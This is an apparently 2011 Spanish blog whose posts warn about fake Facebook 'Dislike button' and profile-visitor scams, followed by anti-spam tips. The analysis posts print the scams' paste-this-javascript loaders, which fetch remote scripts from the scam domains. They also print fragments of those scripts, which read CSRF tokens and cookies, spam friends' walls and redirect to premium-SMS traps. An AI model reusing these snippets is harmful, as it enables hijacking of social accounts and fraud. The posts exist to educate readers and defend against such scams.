sábado, 21 de mayo de 2011

To get the Dislike button. [nueva estafa, mejorada]

Y hoy algo parecido, seguimos ante el mismo escenario,  se prolifera el siguiente mensaje por los muros de tus amigos:
"Facebook now has a dislike button! Click 'Enable Dislike Button' to turn on the new feature! Currently enabled by 2,921,784 Users!"


La única diferencia de hoy es que esta vez han sido más "profesionales" y me parece digno de ser contado.
Como siempre, activo no-script, clicko en "Enable Dislike Button" y me aparece lo siguiente: 

La típica página web que nos pide que copiemos el código javascript en la barra de direcciones para poder añadir el botón Dislike:
javascript:javascript:(a=(b=document).createElement('script')).src='//dislike.likex.me/button.js',b.body.appendChild(a);void(0)

Sorprendentemente cuando abro la dirección http://dislike.likex.me/button.js para ver cuál es el código fuente de button.js, me aparece lo siguiente:
¡Han "encriptado el código"!, ejecutan todo el código javascript con la siguiente función:
val(String.fromCharCode(...))
Don't panic! Tan fácil es encriptarlo como desencriptarlo, existen varias aplicaciones gratuitas para ello. Si queréis pegarle un ojo al código "desencriptado", lo he subido a un servidor, clickar aquí: http://serverf.260mb.com/js/dislike.js

Si analizamos el código podemos observar varias funciones y variables que nos hace sospechar que estamos otra vez ante una aplicación maliciosa:

var randomnumber=Math.floor(Math.random()*99999);
var user_id = readCookie("c_user");
var user_name = document.getElementById('navAccountName').innerHTML;
...
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();

function readCookie(name) {...}
...
Esta vez nos cogen datos hasta de nuestra cookie!
Como siempre, crea una tabla donde almacena a todos nuestros amigos y les escribe a todos en su muro el mensaje que he nombrado anteriormente, todo eso sin nuestra autorización.
Al final una hay alerta que nos redirecciona a una web para que ingresemos nuestro número de telefono:

alert("Account Verification Required To Enable The Dislike Button \n\ Please Press 'OK' To Verify Your Account.");
window.location = "http://dislike.likex.me/final.php?userid="+user_id+"&name="+user_name;

Si entramos en dicha web nos aparece lo siguiente:
Nos dan 6 maravillosas oportunidades de saber cuál es nuestro coeficiente intelectual, saber cuanto nos parecemos a Cristiano Ronaldo, o... mejor aún, ganar vale de Vueling, un iPhone 4, una pantalla plana 3d o un mini-portatil... ¿Quién no se va arriesgar a insertar su número de teléfono pudiendo hacernos con estos chachi-premios? Obviamente, yo no.
Aquí os dejo las irresistibles ofertas:

¿En qué se basa su forma de negocio? Bajo mi punto de vista, pura probabilidad, de las millones de visitas que van a tener, seguro que alguien caerá en la trampa, sino mirar esto:

Si analizamos el tráfico por la página web vemos que ya ha pasado gente de casi todas las partes del mundo, además siempre hay alguien conectado. Cuestión de tiempo que algún fan del chulo-playa de Cristiano Ronaldo ingrese su número para saber cuál es su compatibilidad con el futbolista....

Otra cosa a comentar que me ha parecido curiosa es la letra pequeña de todas las páginas donde nos pedían que diéramos nuestro número, cada una era de una empresa distinta, así que supongo que los que han escrito este código malicioso será porque cobrarán de las diversas empresas que ofrecen esos servicios dependiendo del número de teléfonos obtenidos o del número de visitas.


¿Conclusión? La de siempre, no fiarse de las aplicaciones externas a facebook!
Saludos!

lunes, 16 de mayo de 2011

Por fin el botón NO ME GUSTA en facebook ¿Cierto?

Obviamente, no es cierto.
Todos también habréis visto lo siguiente:

 Si clickamos en Instalar NO ME GUSTA vamos a: http://www.bottonnomegusta.com/?ref=nf y vemos lo siguiente:

 Copiamos el código y nos dan las siguientes instrucciones: Para instalar el boton tienes que borrar todas las letras donde dice http://www.facebook.com (barra de direcciones) y hacer click derecho, PEGAR, y una vez aparezcan unas letras pulsar ENTER

 Tenemos en el portapapeles almacenado el siguiente código (el que nos dicen que copiemos):
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://bottonnomegusta.com/nomegusta.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

Otra vez lo mismo que antes, una web maliciosa con un supuesto código malicioso y un número aleatorio como parámetro de entrada...

Completamente la misma estructura que la entrada anterior (http://bottonnomegusta.com/nomegusta.js):
var message = "Que bien, Facebook ha puesto por fin el boton NO ME GUSTA, si quieres tenerlo
                   tu tambien pulsa en el boton que sale aqui abajo, que dice Instalar NO ME GUSTA.";
var jsText = "http://www.bottonnomegusta.com";
var myText = "Instalar NO ME GUSTA";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
...
 
Y también con una dirección "para ganar dinero" (ya profundizaré en ello cuando acabe exámenes):
window.location = "http://www.bottonnomegusta.com/redirige_promo.php"
 
Así pues, lo mismo que la entrada anterior, se puede ver que en las dos primeras variables se 
almacenan nuestros dos tokens "post_form_id" y "fb_dtsg", y que en la tercera variable almacena 
parte de la información de nuestra cookie (otra vez mala pinta...)
 
 Otra vez estamos ante un ataque CSRF, posiblemente sean los mismos que antes.
Así que, no me canso de repetirlo: ¡No os fieis de este tipo de aplicaciones! 



----------------
modifico:[18-05-2011]
Acabo de ver otra versión, sale esto: 
"Como mola :) xD Face puso el boton NO ME GUSTA,
yo ya le doy a todo No me gusta jaja si quieres tenerlo tu tambien
pulsa en el texto que sale aqui abajo, que pone NO ME GUSTA.";
Y nos piden que copiemos este script:
javascript:(a=(b=document).createElement('script')).src='//thebutonsfacebook.com/theb.js?'+Math.random(),b.body.appendChild(a);void(0)

Si analizamos el fichero theb.js al final del código se ve esto otro:
alert("Termine el ultimo paso y le enviaremos a su telefono la
clave para activar el boton.");
window.location = "http://thebutonsfacebook.com/redirige_promo.php"
Aquí está la respuesta al por qué de todo este alboroto: Al final nos redireccionan a esta web para que ingresemos nuestro número de telefono y así poder cobrarnos unos 50€ al mes por enviarnos sms.
Y direis... ¿Y quién se fia de poner su número por internet? Pues muy poca gente, pero esa dirección habrá sido visitada por millones de personas y sólo con que un 0.1% haya ingresado su número ya tienen la paga del mes más que ganada!
Si entramos en la dirección de redirige_promo.php se puede ver esto: "Responsable del servicio: Datatalk Comunicaciones S.L" Una empresa de Madrid. Lo que no sé si habrá sido esta empresa la que ha creado la aplicación viral para facebook o si habrá sido una subcontrata que cobraba más por incentivos y quería ganar dinero de una forma rápida... Eso ya a la imaginación de cada uno.... =)



¿Quién ha visto hoy mi perfil de facebook?

Buenas a todos, utilizo este pequeño descanso de estudio para escribir esta mini entrada.
Acabo de ver que en Facebook hay mucha gente con esto:

Te puedes creer que 31 personas han visitado mi perfil hoy? Ademas me dice quien y la hora jejej, si quieres saberlo pulsa Escanear perfil aqui abajo y podras ver tu contador.

Para variar, movido por la curiosidad ;), me he puesto a investigar.
Aquí os explico mis conclusiones: (Hoy no lo hago tan extenso que hay que estudiar!)

Me ha aparecido en mi muro lo siguiente:

 Con la opción Escanear perfil" para que también podamos ver quién nos ha visitado hoy, obviamente me ha parecido muy extraño, por lo que he activado no-script y he pinchado a ver qué pasaba.
Al pinchar vas a esta página: http://www.lectorperf.es/?ref=nf y te sale lo siguiente:
Nos piden que clickemos en Copiar y que peguemos este código en nuestro navegador:
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://lectorperf.es/perfil.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

 Estamos ante un código javascript, en el que una variable de entrada es Math.random() (Un sospechoso número aleatorio como la anterior vez.).
En el código también se puede observar esta dirección: 'http://lectorperf.es/perfil.js (dirección donde se aloja el código javascript "malicioso"). Si observamos el código de perfil.js vemos lo siguiente:
var message = "Te puedes creer que 31 personas han visitado mi
perfil hoy? Ademas me dice quien y la hora jejej, si quieres
saberlo pulsa Escanear perfilaqui abajo y podras ver tu contador.";
var jsText = "http://www.lectorperf.es";
var myText = "Escanear perfil";
 
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
 
var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=
         user&viewer=" + uid + "&"+Math.random(),false); 
gf.send()
 ...
 
Se puede ver que en las dos primeras variables se almacenan nuestros dos tokens "post_form_id" y "fb_dtsg", y que en la tercera variable almacena parte de la información de nuestra cookie :S (Mala pinta...)
También se ve que crea una tabla llamada friends (var friends = new Array()).
 Y ya para qué hablar de la variable message...

Último fragmento importante:
...+ friends[i].uid +  "&user_message=" + message;
httpwp.open("POST", urlwp, true);
...

Conclusión: Volvemos a estar ante una aplicación de poco fiar. Y cómo no, las 31 visitas que dicen que hemos tenido son completamente falsas, tan sólo hace falta ver la variable message, siempre nos dicen lo mismo, es una frase predefinida que no cambia en ninguna parte del código. (modifico: a veces en vez de 31 visitas ponen otro número, pero sigue siendo lo mismo, una varible global del script, es decir, sigue siendo un engaño. modifico2: Ahora mismo lo han cambiado por 21 visitas: Te puedes creer que 21 personas han visitado mi perfil hoy?... Suponqo que irán cambiando de poco en poco, aunque me parece extraño que no hayan usado Math.random() para que las visitas parezcan más realistas.)
Lo único que hace este script es coger nuestros dos tokens "post_form_id" y "fb_dtsg" para poder realizar un ataque CSRF, en este caso el "ataque" consiste en escribir en el tablón de alguno de nuestros amigos que no nos perdamos la increíble aplicación que nos dice las visitas que hemos tenido hoy.

 Como siempre digo... ¡Cuidad vuestra seguridad con las aplicaciones sospechosas de facebook! Esta vez el fin de esta aplicación tan sólo ha sido crear spam (para forrar a unos cuantos... otro día hablaré de ello.) pero en otras ocasiones nos podrían tomar el control de la cuenta!

Así que, ¡No os fieis de este tipo de aplicaciones!

lunes, 2 de mayo de 2011

Mis 3 formas de evitar el Spam.


Que levante la mano todo aquél que alguna vez haya recibido algún mensaje con asuntos de este tipo: "viagra a bajo precio", "has sido elegido, te ha tocado un fabuloso viaje", "el increíble MSN y facebook espía...", "adelgaza con nuestro innovador método", "el facebook del sexo", "gana increíbles premios"... Para qué seguir, a lo largo de nuestra vida a todo el mundo nos ha llegado un sinfín de mensajes de este tipo.

Antes de todo me gustaría dar una definición sobre qué es exactamente el spam: "Se llama spam, correo basura o mensaje basura a los mensajes no solicitados, no deseados o de remitente no conocido, habitualmente de tipo publicitario, enviados en grandes cantidades (incluso masivas) que perjudican de alguna o varias maneras al receptor." [fuente: wikipedia]

Es decir, todos esos mensajes con contenido fraudulento que tenemos en la bandeja de entrada de nuestro correo sin que nosotros hayamos pedido información.
Aún recuerdo hace 3 años cuando apenas nadie teníamos facebook o tuenti, siempre tenía la bandeja de entrada con catatientos mensajes de spam y tropecientosmil mensajes de cadenas que debías reenviar si no querías que una maldición te persiguiera toda la vida (debí hacerles caso, así de maldito me he quedado...jaja). Afortunadamente, ahora con todo esto de las redes sociales los mensajes de no romper cadenas prácticamente han desaparecido de nuestro correo (sustituidos por los famosos eventos en dichas redes sociales). Aun así, nos sigue llegando correo no deseado.

Voy ya al grano:
¿Qué hago yo para evitar el spam?
Intentar dar mi correo electrónico lo menos posible a cualquier página web, para ello hago básicamente 3 cosas:


BugMeNot
Cuando estamos navegando y queremos descargarnos algún programilla, película, juego, discografía, o simplemente si queremos acceder a más información en algún foro, muchas veces nos piden que para continuar debemos darles obligatoriamente una dirección de correo o que iniciemos sesión con nuestro usuario y contraseña. Si damos nuestra dirección nos arriesgamos a que luego nos llegue correo spam. Para evitar dar nuestro correo lo primero que hago es tirar de Bugmenot.
Bugmenot tiene una base de datos con usuarios y contraseñas de gran cantidad de páginas webs que restringen su información o datos a todos aquellos que no estamos registrados. Para poder identificarnos en dichas webs sin necesidad de dar nuestro correo para registrarnos tan sólo tenemos que entrar en http://www.bugmenot.com/ ,poner la dirección de la página web de la que queremos un usuario y contraseña, y por último clickar en "Get logins". Tacháán! ya podremos acceder a los contenidos para gente registrada, iniciamos sesión con el usuario y contraseña que nos han dado y listo. ;)

Guerrilla Mail
Este servicio es muy útil en el caso de que nos pidan nuestro correo electrónico. Si es así, entro en http://www.guerrillamail.com/ y sólo entrar la propia web se encarga de darnos una cuenta de correo de "usar y tirar", es decir, te dan una cuenta que tiene una hora de duración, lo suficiente para que des "tu dirección" a la web que te lo pide. Lo bueno de este servicio es que en el caso de que te envíen un mensaje de confirmación, por ejemplo, un mensaje con una contraseña o con un código para poder continuar la descarga, simplemente tienes que estar pendiente en la página de guerrillamail de que te llegue el mensaje y ya está,  es más, ¡Puedes hasta contestar los mensajes! (muy útil si te piden un mensaje de confirmación).

tempalias
Por último, para no caer en las manos de spammers, siempre que tengo que dar mi dirección de correo en alguna página web o foro para que me envíen o contesten a algo utilizo el servicio de tempalias, lo que hace este servicio es darte una dirección de correo (también temporal) que redirecciona todos los e-mails que le lleguen a tu correo de verdad. Lo único que se tiene que hacer es entrar en http://tempalias.com/#/ , poner tu dirección de correo para que te redireccionen allí los e-mails, indicar la duración de dicha cuenta y listo, te aparecerá una dirección de correo temporal que durará el tiempo que hayas indicado. Así que, cuando quieras que te envíen un mensaje a tu correo pero no quieres que sepan tu dirección real, da la dirección que te ha dado tempalias y la misma web se encargará de redireccionarte a ti los mensajes.

Ni que decir tiene que nunca debemos dar nuestra dirección de correo a esos banner de publicidad que inspiran tanta confianza rezando "no es broma" con muchas más exclamaciones de lo tipográficamente aceptable...


Para acabar, una curiosidad que me ha hecho gracia: Parece ser que la palabra spam proviene de un producto de USA llamado Hormel's Spiced Ham.
Con el tiempo el grupo Monty Python empezó a burlarse del producto (carne enlatada) por la costumbre de gritar la palabra spam en la mayoría de sus anuncios publicitarios, más tarde el termino se trasladó al correo electrónico no solicitado.


Espero que a alguien le sirva de utilidad.
Muchas gracias a quienes hayan leído todo =)
Saludos!